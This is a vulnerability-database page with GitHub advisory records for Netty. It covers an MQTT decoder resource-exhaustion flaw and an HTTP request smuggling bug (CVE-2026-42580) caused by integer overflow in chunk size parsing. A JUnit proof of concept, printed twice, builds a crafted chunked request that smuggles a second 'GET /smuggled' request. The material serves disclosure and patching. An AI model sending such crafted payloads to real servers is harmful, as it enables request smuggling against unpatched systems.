"details": "### Impact\nThe MQTT 5 header Properties section is parsed and buffered _before_ any message size limit is applied.\n\nSpecifically, in `MqttDecoder`, the `decodeVariableHeader()` method is called before the `bytesRemainingBeforeVariableHeader \u003e maxBytesInMessage` check. The `decodeVariableHeader()` can call other methods which will call `decodeProperties()`. Effectively, Netty does not apply any limits to the size of the properties being decoded.\n\nAdditionally, because `MqttDecoder` extends `ReplayingDecoder`, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion.\n\nThis can cause high resource usage in both CPU and memory.\n\n### Resources\n`ANT-2026-09608`\nhttps://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901027",
"id": "GHSA-jfg9-48mv-9qgx",
"modified": "2026-05-14T20:41:33Z",
"published": "2026-05-07T05:14:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jfg9-48mv-9qgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44248"
},
{
"type": "WEB",
"url": "https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901027"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty MQTT: Resource exhaustion in MqttDecoder"
}
GHSA-M4CV-J2PX-7723
Vulnerability from github – Published: 2026-05-07 00:13 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing
Details
Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Severity
6.5 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42580"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:13:05Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n \"100000004\\r\\n\" +\n \"test\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n HttpContent content = channel.readInbound();\n assertTrue(content.decoderResult().isSuccess());\n assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n content.release();\n LastHttpContent last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n // Request 2\n request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
"id": "GHSA-m4cv-j2px-7723",
"modified": "2026-05-14T20:41:01Z",
"published": "2026-05-07T00:13:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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